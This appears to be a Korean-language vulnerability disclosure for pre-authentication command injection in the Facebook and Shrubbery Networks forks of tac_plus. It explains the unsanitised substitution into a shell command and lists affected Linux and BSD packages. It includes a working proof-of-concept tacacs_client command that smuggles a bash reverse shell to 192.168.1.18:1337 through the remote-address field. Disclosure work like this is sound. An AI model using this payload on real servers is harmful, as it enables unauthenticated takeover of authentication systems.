
tac_plus 사전 인증 원격 명령 실행 취약점 (CVE-2023-45239 & CVE-2023-48643)
이 저장소는 tac_plus의 여러 오픈소스 구현체에서 발견된 사전 인증(pre-auth) 원격 명령 실행 취약점에 대한 정보를 포함합니다. 다음 두 포크가 영향을 받습니다:
그러나 두 포크 모두 16년 전에 오픈소스로 공개된 Cisco의 TACACS+ 개발 키트를 기반으로 합니다. 이 취약점은 이미 개발 키트에 존재했으며 두 프로젝트로 포크되었습니다. 이 연구는 위에서 언급한 두 포크에만 초점을 맞추었다는 점에 유의해야 하며, 영향을 받는 추가 포크가 있을 수 있습니다.
다음 그래프는 포크 간의 관계를 보여주며, 모두 영향을 받습니다:
-----------------
| Cisco dev kit |
-----------------
↑
forked from
|
----------------------
| Shrubbery Networks |
| CVE-2023-48643 |
----------------------
↑
forked from
|
------------------
| Facebook |
| CVE-2023-45239 |
------------------
Cisco 개발 키트의 공식 소스는 발견되지 않았으며 더 이상 유지 관리되지 않습니다.
다음 예제는 GitHub에서 제공되므로 facebook/tac_plus 저장소의 코드를 참조합니다(Cisco 개발 키트와 Shrubbery Networks 포크는 tarball일 뿐입니다). 그러나 영향을 받는 코드는 모든 프로젝트에서 동일합니다.
패킷이 도착하면 start_session() 함수가 호출되어 들어오는 패킷의 유형(인증, 권한 부여 또는 회계)을 결정합니다. 우리는 author() → do_author()가 처리하는 권한 부여 패킷에 초점을 맞추며, 이후 pre_authorization()을 호출합니다. 이 함수는 TACACS+ 패킷의 사용자 이름에 before authorization 명령이 구성되어 있는지 확인하고 call_pre_process()를 통해 실행합니다. 다음 구성 파일(tac_plus.conf)은 before authorization 명령이 구성된 사용자를 보여줍니다:
accounting file = /tmp/tac_acc.log
user=DEFAULT {
before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
service = exec {
default attribute = permit
}
}
이 함수는 before authorization에 구성된 명령을 가져와 치환합니다. (예: $user, $name, $address) 들어오는 TACACS+ 패킷의 값으로. 그러나 이는 입력 검증이나 삭제 없이 수행됩니다.
생성된 명령 문자열은 my_popen()에 전달되며, 이 함수는 다음 execl() 호출에서 명령 문자열을 실행합니다:
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
이로 인해 TACACS+ 패킷의 원격 주소 필드(RFC8907의 rem_addr, rem_addr_len 참조)를 통해 추가 명령을 주입할 수 있습니다. 동일한 방식이 다른 입력 필드에서도 작동할 수 있습니다.
취약점은 인증 프로세스 중에 트리거된다는 점에 유의해야 합니다. 따라서 비밀번호는 필요하지 않으며, 구성에 존재하는 사용자 이름만 있으면 됩니다!
이 구성으로 tac_plus를 컴파일하고 실행하는 방법은 다음 섹션에서 설명합니다:
다음 명령은 대상 데몬에서 DEFAULT 사용자로 tacacs_client를 실행합니다. 취약점을 트리거하는 페이로드는 --rem-addr 명령줄 인수로 설정되는 원격 주소 필드에 있습니다:
export TACACS_PLUS_KEY=[REDACTED] # 사전 공유 키가 있는 설정에만 필요
tacacs_client \
--host 192.168.1.100 \
--port 4949 \
--username DEFAULT \
--rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
authorize -c service=exec
이를 실행하면 192.168.1.18:1337로 역방향 셸 연결이 생성됩니다. 사용자 이름은 tac_plus.cfg에 before authorization 또는 after authorization 지시문이 구성된 사용자 중 하나여야 합니다. 후행 명령 목록(-c service=exec)은 필요한 코드 경로에 도달하기 위해 필요하지만 값은 중요하지 않습니다.
클라이언트가 보낸 TACACS+ 패킷은 Wireshark에서 다음 스크린샷과 같이 표시됩니다:

다음 스크린샷은 주입된 명령이 실행되기 직전의 디버그 세션을 보여줍니다:

여러 Linux 배포판은 공식 패키지에서 두 영향을 받는 포크 중 하나를 사용합니다(대부분 Shrubbery Networks 포크). 다음 표는 이 글을 작성하는 시점에 Shrubbery Networks 또는 Facebook 포크를 사용하는 Linux 배포판과 BSD 파생을 보여줍니다. 목록은 완전하지 않으며, 다른 배포판/파생도 영향을 받을 가능성이 높습니다.
| Distribution | Package | Fork |
|---|---|---|
| Fedora | tacacs | |
| Ubuntu | tacacs+ | Shrubbery Networks |
| OpenSUSE | tac_plus | Shrubbery Networks |
| Debian | tacacs+ | Shrubbery Networks |
| Arch Linux (AUR) | tacacs-plus | Shrubbery Networks |
| ... |
| Derivate | Port | Fork |
|---|---|---|
| FreeBSD | tacacs | Shrubbery Networks |
| NetBSD | tacacs | Shrubbery Networks |
| ... |
이 문제를 재현하는 방법의 예는 다음 섹션에서 확인할 수 있습니다: